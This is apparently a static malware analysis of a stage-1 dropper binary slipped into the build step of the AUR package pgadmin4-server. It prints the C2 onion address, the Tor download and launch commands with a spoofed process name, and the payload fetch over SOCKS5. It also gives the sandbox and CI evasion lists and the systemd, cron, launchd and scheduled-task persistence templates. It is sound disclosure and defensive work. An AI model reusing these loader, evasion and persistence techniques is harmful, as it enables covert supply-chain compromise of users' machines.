---
title: What the parser binary in AUR pgadmin4-server does
url: https://share.jotbird.com/bright-mighty-sandstone
updated_at: 2026-07-29T11:06:01.506877+00:00
---

# What the `parser` binary in AUR `pgadmin4-server` does

A 43 KB stripped ELF added to the AUR package `pgadmin4-server` in commit
`b7de293` (2026-07-29), invoked as `sudo "$srcdir/parser"` from `build()`.

Static analysis only — the sample was never executed.

| | |
|---|---|
| SHA-256 | `a74d56ff107f08401d7868e8bd5f3f0daf10d2c61824f169a083a08d484fabdd` |
| Type | ELF 64-bit LSB PIE, x86-64, dynamically linked, stripped |
| BuildID | `436e25d2126ea5c0ae80b350a45c380fec60e5ff` |
| Linked libs | `libc.so.6` only |
| Entry / `main` | `0x2f20` / `0x2430` |

**Summary:** it is a stage-1 dropper. It checks it isn't being watched, builds
itself an anonymised network transport out of the real Tor client, pulls a
second-stage agent from a hidden service, installs it under a random name, and
persists it. It is not itself the payload.

---

## String obfuscation

All 154 strings are individually **ChaCha20**-encrypted, each with its own
32-byte key and 8-byte nonce, with the block counter reset per string. Nothing
useful appears in a plain `strings` dump.

`.rodata` layout:

| Address | Contents |
|---|---|
| `0x6080` | `uint16[154]` — plaintext lengths |
| `0x61c0` | `uint16[154]` — cumulative offsets |
| `0x6300` | `uint8[154][8]` — per-string nonces |
| `0x67e0` | `uint8[154][32]` — per-string keys |
| `0x7b20` | ciphertext blob |
| `0xc300` (`.bss`) | plaintext destination |

Identification: the `expand 32-byte k` constants are materialised inline at
`0x32cb`/`0x32da`, the standard ChaCha quarter-round is at `0x3204`, and the
bulk decryptor at `0x3240` runs 10 double-rounds (4 column + 4 diagonal quarter-
rounds each) before the `add`-original-state step at `0x3431`.

Accessor at `0x34d0`:

```c
const char *S(int idx) {
    if (!decrypted_flag /* 0xc2e4 */) decrypt_all(); /* 0x3240 */
    return (char *)0xc300 + offsets[idx];
}
```

Reimplementing ChaCha20 against these tables recovers all 154 strings offline.
130 `S(idx)` call sites resolve to literal indices loaded via `mov edi, imm`,
which makes the disassembly directly readable.

---

## 1. Anti-analysis gate (`main`, `0x2430`)

Runs first. Any hit jumps to `0x2ef6` and exits silently, doing nothing:

1. **Debugger** — parses `TracerPid:` from `/proc/self/status`; nonzero → exit.
2. **Sandbox hostname** — `gethostname()` matched against:
   `malware, vmware, seclab, sandbox, cuckoo, analysis, virus, vxbox, honeypot,
   maltest, triage, anyrun, cape, remnux, flare, sndbox`
3. **CI environment** — exits if any of 26 env vars is set:
   `GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, BUILD_BUILDURI,
   CODEBUILD_BUILD_ID, BUILDKITE, APPVEYOR, BITBUCKET_BUILD_NUMBER, DRONE,
   SEMAPHORE, TEAMCITY_VERSION, bamboo_agentId, BITRISE_IO, CIRRUS_CI,
   CF_BUILD_ID, VERCEL, NOW_GITHUB_DEPLOYMENT, WERCKER_MAIN_PIPELINE_STARTED,
   BUDDY_WORKSPACE_ID, SHIPPABLE, JB_SPACE_EXECUTION_NUMBER, VELA, SCREWDRIVER,
   DISTELLI_APPNAME`

Check 3 is the interesting one. Because this is a *build-time* payload, the
obvious place to catch it is an automated package-build farm — so it refuses to
run in one, and detonates only on real developer and end-user machines.

## 2. Reinfection marker

Stores an infection flag in the **`security.selinux` extended attribute** of its
install path (`setxattr` at `0x38be`, `getxattr` at `0x3bc3`). An
innocuous-looking xattr name, chosen to survive casual inspection.

## 3. Tor transport bootstrap

Downloads the **genuine** Tor Expert Bundle from the real Tor Project host:

```
https://archive.torproject.org/tor-package-archive/torbrowser/16.0a7/tor-expert-bundle-linux-x86_64-16.0a7.tar.gz
curl -sLk --max-time 120 -o '%s' '%s' 2>/dev/null
tar xzf '%s' --strip-components=1 -C '%s' 2>/dev/null
```

Writes a private torrc:

```
DataDirectory %s
SOCKSPort %d
RunAsDaemon 0
AllowSingleHopCircuits 1
Log notice stderr
```

Launches it forked, stdio to `/dev/null`, waiting for `Bootstrapped 100%`:

```c
execl(tor_path, "dbus-daemon", "-f", torrc_path, NULL);   /* 0x52da */
```

**`argv[0]` is spoofed to `dbus-daemon`** — process-name masquerade. An
alternate hardcoded path also exists:

```
LD_LIBRARY_PATH=/tmp/tb /tmp/tb/tor --DataDirectory /tmp/tb/data \
  --SocksPort %d --ClientOnly 1 --Log 'notice file %s' >/dev/null 2>&1 &
```

Using the real Tor client means there is no attacker-controlled clearnet
infrastructure to seize or blocklist.

## 4. Command and control

Hand-rolled SOCKS5 client (`0x277e`–`0x292e`): connects to `127.0.0.1` on the
local Tor SOCKS port, sends `05 01 00`, validates `05 00`, then issues a
domain-name CONNECT to:

```
p4ayykxcrxfyzrgfbbkazernntjbz43hgclrheguylzd7kijmtce6zqd.onion
```

Followed by a plain HTTP request:

```
GET / HTTP/1.1
Host: %s
User-Agent: curl/8.9.1
Connection: close
```

It parses `Content-Length:` (case-insensitively) and the `\r\n\r\n` boundary,
**requires HTTP 200** (`cmp eax, 0xc8` at `0x2ba3`), and streams the body to
`/dev/shm/.agent.bin`, falling back to `/tmp/.agent.bin`.

Connectivity is probed against `1.1.1.1` and `8.8.8.8`.

There is **no `bind`, `listen`, or `accept`** anywhere in the binary. It is
egress-only; stage 1 opens no inbound backdoor.

## 5. Stage-2 installation

The downloaded blob is a gzipped tarball containing per-platform directories.
Stage 1 selects `linux-x86_64` and reads `%s/%s/agent` from it. String tables for
`macos-aarch64` and `windows-x86_64` are compiled in but unreachable in this ELF
— evidence of a cross-platform codebase.

The extracted agent is written under a **randomly generated pronounceable name**
built from three alphabet tables (`brcrdrfrgrkrprtrvrblclflglklplslvlzl`,
`aeiou`, `bcdfghjklmnprstvwx`) seeded from `/dev/urandom`, then `chmod`'d and
started with:

```
systemd-run --user --scope --unit=%s %s >/dev/null 2>&1
```

Install location depends on `geteuid()` (`0x3a8f`):

- **root** → `/var/lib/<random>`
- **non-root** → a hidden directory under `$HOME` (fallback `/tmp`)

When picking the `$HOME` hiding spot it enumerates with `opendir`/`readdir` and
**skips** `.ssh`, `.gnupg`, `.pki`, `.cert`, `.password`, `.local`, `.config`,
`.cache`. This is a blocklist for *placement* — it avoids directories a user is
likely to inspect. It is **not** credential harvesting; no reads of those paths
occur anywhere in the binary.

## 6. Persistence

All of the following are compiled in, selected by privilege level and platform.

**Linux, root** — `/etc/systemd/system/<random>.service`:

```ini
[Unit]
After=network.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
```

then `systemctl daemon-reload` + `systemctl enable --now '%s'`, plus
`@reboot root %s` dropped into `/etc/cron.d`.

**Linux, user** — `~/.config/systemd/user/<random>.service`
(`WantedBy=default.target`), then `systemctl --user daemon-reload &&
systemctl --user enable --now '%s' && loginctl enable-linger`, plus a
deduplicated `@reboot` crontab entry.

**macOS** — LaunchDaemon/LaunchAgent plist labelled `com.apple.telemetry.%s`,
`RunAtLoad` + `KeepAlive`, installed via `launchctl bootstrap` / `launchctl load -w`.

**Windows** — hidden Scheduled Task XML, `LogonTrigger` with `PT30S` delay,
`RestartOnFailure` count 999, dropped in `C:\Windows\System32\Tasks`; download
fallback via `powershell Invoke-WebRequest` with certificate validation disabled.

Matching **uninstall** routines exist that scrub its own systemd units and filter
its own crontab lines back out, enumerating `/home/` to clean per-user artefacts.

---

## Assessment

Stage 1 is a loader. Its entire remit is: evade analysis, stand up an anonymised
transport, fetch stage 2, install it, persist it, and support its own removal.
The actual capability lives in the agent served from the hidden service, which
was not retrieved and is not present in the package.

Design priorities visible in the code are **stealth over speed** (silent bail on
any analysis signal, no retry noise), **attribution resistance** (all C2 over
Tor, no attacker-owned clearnet infrastructure), and **blending in** (the
`dbus-daemon` argv spoof, the `security.selinux` xattr, `com.apple.telemetry.*`
labels, randomised unit and directory names).

Because it is invoked via `sudo` at package build time, on a successful run it
executes with root privileges before any part of pgAdmin is compiled.
# ✏️ Start writing

Write here. Publish when ready. Share the link.

Your draft stays private until you choose to publish.